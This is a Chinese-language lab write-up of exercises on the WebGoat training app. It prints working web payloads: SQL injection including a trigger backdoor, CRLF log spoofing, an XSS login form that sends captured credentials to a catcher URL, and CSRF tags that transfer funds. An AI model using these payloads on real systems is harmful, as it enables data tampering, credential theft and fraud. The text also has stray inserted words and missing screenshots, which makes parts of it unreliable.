1.SQL注入攻击原理,如何防护?javascript
(一)Webgoat安装
1.下载webgoat-container-7.0.1-war-exec.jar文件
二、在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,实验过程当中不能关闭终端
三、在浏览器中输入http://localhost:8080/WebGoat
进入WebGoat登陆界面
四、使用默认用户名密码guest登陆便可
html
SQL攻击java
攻击成功,显示全部城市的天气状况:
web
2.Log Spoofing
利用入回车(0D%)和换行符(%0A),在 username 中填入zch%0d%0aLogin Succeeded for username: admin
,攻击成功:
正则表达式
3.String SQL Injection
根据题目要求输入:Smith。能够看到查询的相关信息,语句为SELECT * FROM user_data WHERE last_name = 'Smith'
sql
注入永真式'or 1='1攻击成功:
数据库
or 1=1 --
进行SQL注入,失败;查看源码发现是对输入长度进行了限制,修改源码再次注入,成功。进行注入101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHEREuserid = NEW.userid
建立后门:
浏览器
XSS攻击安全
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
点击search,出现表单,输入信息,攻击成功:
服务器
2.Stored XSS Attacks
建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容;命名title,在message里输入一串js代码:<script>alert("boy next door");</script>
,点击刚刚建立的帖子,弹出窗口
3.Reflected XSS Attacks
输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展现。若是输入一个攻击URL就会返回该信息。输入,提交:
CRSF攻击
1.Cross Site Request Forgery(CSRF)
写一个URL放进Message框,使其余用户不可见,设置成一个隐藏图片,用户一旦点击就会触发一个CSRF事件;在Message里输入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />;
点击该消息,页面就会下载这个消息并显示,就会执行转走用户的存款。
<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe> <iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>
查看消息,看到转帐消息: